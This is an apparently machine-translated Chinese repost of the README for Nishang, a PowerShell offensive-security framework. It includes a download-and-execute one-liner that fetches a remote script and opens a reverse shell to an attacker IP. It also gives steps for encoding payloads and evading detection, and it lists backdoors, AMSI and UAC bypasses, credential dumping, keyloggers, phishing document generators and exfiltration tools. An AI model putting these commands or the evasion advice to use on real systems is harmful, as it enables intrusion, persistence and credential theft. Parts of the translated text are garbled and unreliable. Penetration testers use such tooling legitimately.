Nishang是脚本和有效负载的框架和集合,可以使用PowerShell进行攻击性安全,渗透测试和红色组合。
用法:导入当前PowerShell会话中的所有脚本(PowerShell v3以后):
PS C:\ nishang> Import-Module。\ nishang.psm1
使用点源的单个脚本:
PS C:\ nnhang>。C:\霓裳\收集\ GET-Information.ps1
PS C:\ nishang>获取信息
要获得有关任何脚本或函数的帮助,请使用:
PS C:\ nishang> Get-Help [scriptname] -full
请注意,帮助可用于运行脚本后加载的函数,而不是版本0.3.8以后的脚本本身。在所有情况下,函数名称与脚本名称相同。
例如,要查看有关Get-WLAN-Keys.ps1的帮助,请使用:
PS C:\ nnhang>。C:\霓裳\ GET-WLAN-Keys.ps1
PS C:\ nishang> Get-Help Get-WLAN-Keys -Full
目标上的脚本应该在内存中使用,这对PowerShell来说非常容易。
在内存中执行PowerShell脚本有两种基本方法:
使用内存中下载并执行(方法1):
使用以下命令从远程shell,meterpreter本机shell,Web shell等以及由其导出的函数执行PowerShell脚本。Nishang中的所有脚本在当前PowerShell会话中导出具有相同名称的函数。
powershell iex(New-Object Net.WebClient).DownloadString('http:///Invoke-PowerShellTcp.ps1'); Invoke-PowerShellTcp -Reverse -IPAddress [IP] -Port [PortNo。]
使用PowerShell的-encodedcommand(或-e)参数(方法2):
Nishang中的所有脚本在当前PowerShell会话中导出具有相同名称的函数。因此,请确保在使用非PowerShell shell的encodedcommand参数时,在脚本本身中进行函数调用。
对于上面的示例,添加函数调用(不带引号)“ Invoke-PowerShellTcp -Reverse -IPAddress [IP] -Port [PortNo。] ”。
使用来自Nishang的Invoke-Encode对scrript进行编码:
PS C:\ nnhang>。\霓裳\工具\调用,编码
PS C:\ nishang> Invoke-Encode -DataToEncode C:\ nishang \ Shells \ Invoke-PowerShellTcp.ps1-OutCommand
编码的数据写入。\ encoded.txt
编码命令写入。\ encodedcommand.txt
从上面,使用encodedcommand.txt中的编码脚本,并在可以执行命令的目标上运行它(远程shell,meterpreter本机shell,Web shell等)。使用方式如下:
C:\ Users \ target> powershell -e [encodedscript]
如果仍然检测到脚本,则更改功能和参数名称并删除帮助内容将有所帮助。
脚本:
Nishang目前包含以下脚本和有效负载。
Get-Unconstrained:在活动目录中查找启用了Kerberos Unconstrained Delegation的计算机。
Antak - Webshel??l: 使用此webshel??l在内存中执行PowerShell脚本,运行命令以及下载和上载文件。
HTTP-Backdoor: 一个后门,可以从第三方网站接收指令并在内存中执行PowerShell脚本。
DNS_TXT_Pwnage: 一个后门程序,可以从DNS TXT查询接收命令和PowerShell脚本,在目标上执行它们,并使用查询进行远程控制。
Execute-OnTime: 一个后门,可以在目标上的给定时间执行PowerShell脚本。
Gupt-Backdoor: 一个后门,可以从WLAN SSID接收命令和脚本而无需连接它。
Add-ScrnSaveBackdoor: 一个可以使用Windows屏幕保护程序进行远程命令和脚本执行的后门程序。
Invoke-ADSBackdoor: 一个可以使用备用数据流和Windows注册表来实现持久性的后门程序。
Add-RegBackdoor: 一个后门程序,它使用众所周知的Debugger技巧来执行Sticky密钥和Utilman(Windows密钥 U)的有效负载。
Invoke-AmsiBypass: 实施公开的方法来绕过/避免AMSI。
Out-CHM: 创建可以执行PowerShell命令和脚本的受感染CHM文件。
Out-Word: 创建Word文件并感染现有文件以运行PowerShell命令和脚本。
Out-Excel: 创建Excel文件并感染现有文件以运行PowerShell命令和脚本。
Out-HTA: 创建一个HTA文件,该文件可以部署在Web服务器上并用于网络钓鱼活动。
Out-Java: 创建签名的JAR文件,可以与applet一起使用以执行脚本和命令。
Out-Shortcut: 创建能够执行PowerShell命令和脚本的快捷方式文件。
Out-WebQuery: 为网络钓鱼凭据和SMB哈希创建IQY文件。
Out-JS: 创建能够执行PowerShell命令和脚本的JS文件。
Out-SCT: 创建能够执行PowerShell命令和脚本的SCT文件。
Out-SCF: 创建一个可用于捕获NTLM哈希挑战的SCF文件。
Enable-DuplicateToken: 需要SYSTEM权限时。
删除更新:通过删除修补程序来引入漏洞。
Invoke-PsUACme: 绕过UAC。
Download-Execute-PS: 在内存中下载并执行PowerShell脚本。
Download_Execute: 以文本格式下载可执行文件,将其转换为可执行文件,然后执行。
Execute-Command-MSSQL: 在具有足够权限的MSSQL Server上运行PowerShell命令,本机命令或SQL命令。
Execute-DNSTXT-Code: 使用DNS TXT查询在内存中执行shellcode。
Out-RundllCommand: 使用rundll32.exe执行PowerShell命令和脚本或反向PowerShell会话。
Check-VM: 检查虚拟机。
Copy-VSS: 使用卷影复制服务复制SAM文件。
Invoke-CredentialsPhish: 欺骗用户以纯文本形式提供凭据。
FireBuster,FireListener:一对用于出口测试的脚本。
获取信息: 从目标获取丰富的信息。
Get-LSASecret: 从目标中获取LSA秘密。
Get-PassHashes: 从目标获取密码哈希值。
Get-WLAN-Keys: 从目标获取纯文本的WLAN密钥。
键盘 记录:记录目标的击键。
Invoke-MimikatzWdigestDowngrade: 在Windows 8.1和Server 2012上以普通方式转储用户密码。
Get-PassHints: 从目标获取Windows用户的密码提示。
Show-TargetScreen: 使用MJPEG连接回和Stream目标屏幕。
Invoke-Mimikatz: 在内存中加载mimikatz。更新并进行了一些自定义。
Invoke-Mimikittenz: 使用正则表达式从目标进程(如浏览器)内存中提取多汁信息。
Invoke-SSIDExfil: 使用WLAN SSID对用户凭据等信息进行初步验证。
Invoke-Interceptor: MITM攻击的本地HTTPS代理。
Create-MultipleSessions: 检查多台计算机上的凭据并创建PSSession。
Run-EXEonRemote: 在多台计算机上复制并执行可执行文件。
Invoke-NetworkRelay: 在计算机之间创建网络中继。
Prasadhak: 针对VirusTotal数据库检查运行进程的运行哈希值。
暴力: 强力FTP,Active Directory,MSSQL和Sharepoint。
端口扫描: 方便的端口扫描器。
Powerpreter:nishang 在单个脚本模块中的所有功能。
Invoke-PsGcat: 将命令和脚本发送到由Invoke-PsGcatAgent执行的指定Gmail帐户。
Invoke-PsGcatAgent: 执行Invoke-PsGcat发送的命令和脚本。
Invoke-PowerShellTcp: 交互式PowerShell反向连接或绑定shell。
Invoke-PowerShellTcpOneLine:调整 版本的Invoke-PowerShellTcp。还包含一个可以放入两条推文的骨架版本。
Invoke-PowerShellUdp: 通过UDP进行交互式PowerShell反向连接或绑定shell。
Invoke-PowerShellUdpOneLine:调整 版本的Invoke-PowerShellUdp。
Invoke-PoshRatHttps: 通过HTTPS反向交互式PowerShell。
Invoke-PoshRatHttp: 通过HTTP反向交互式PowerShell。
Remove-PoshRat: 使用Invoke-PoshRatHttps后清理系统。
Invoke-PowerShellWmi: 使用WMI的交互式PowerShell。
Invoke-PowerShellIcmp: ICMP上的交互式PowerShell反向shell。
Invoke-JSRatRundll: 使用rundll32.exe通过HTTP进行交互式PowerShell反向shell。
Invoke-JSRatRegsvr: 使用regsvr32.exe通过HTTP进行交互式PowerShell反向shell。
添加 - 渗透:将数据泄露功能添加到Gmail,Pastebin,Web服务器和DNS到任何脚本。
添加持久性: 向脚本添加重新启动持久性功能。
Remove-Persistence: Add-Persistence脚本添加的远程持久性。
Do-Exfiltration: 将此管道(|)传递给任何脚本以泄露输出。
下载: 将文件传输到目标。
Parse_Keys: 由键盘记录器记录的解析密钥。
Invoke-Encode: 编码和压缩脚本或字符串。
Invoke-Decode: 从Invoke-Encode解码和解压缩脚本或字符串。
Start-CaptureServer: 运行记录基本身份验证和SMB哈希的Web服务器。
ConvertTo-ROT13: 将字符串编码为ROT13或解码ROT13字符串。
Out-DnsTxt: 生成可与其他脚本一起使用的DNS TXT记录。
下载地址:https://github.com/samratashok/nishang/releases
你可能喜欢
PoshSec框架 - Powershell脚本,模块和Cmdlet的图形界面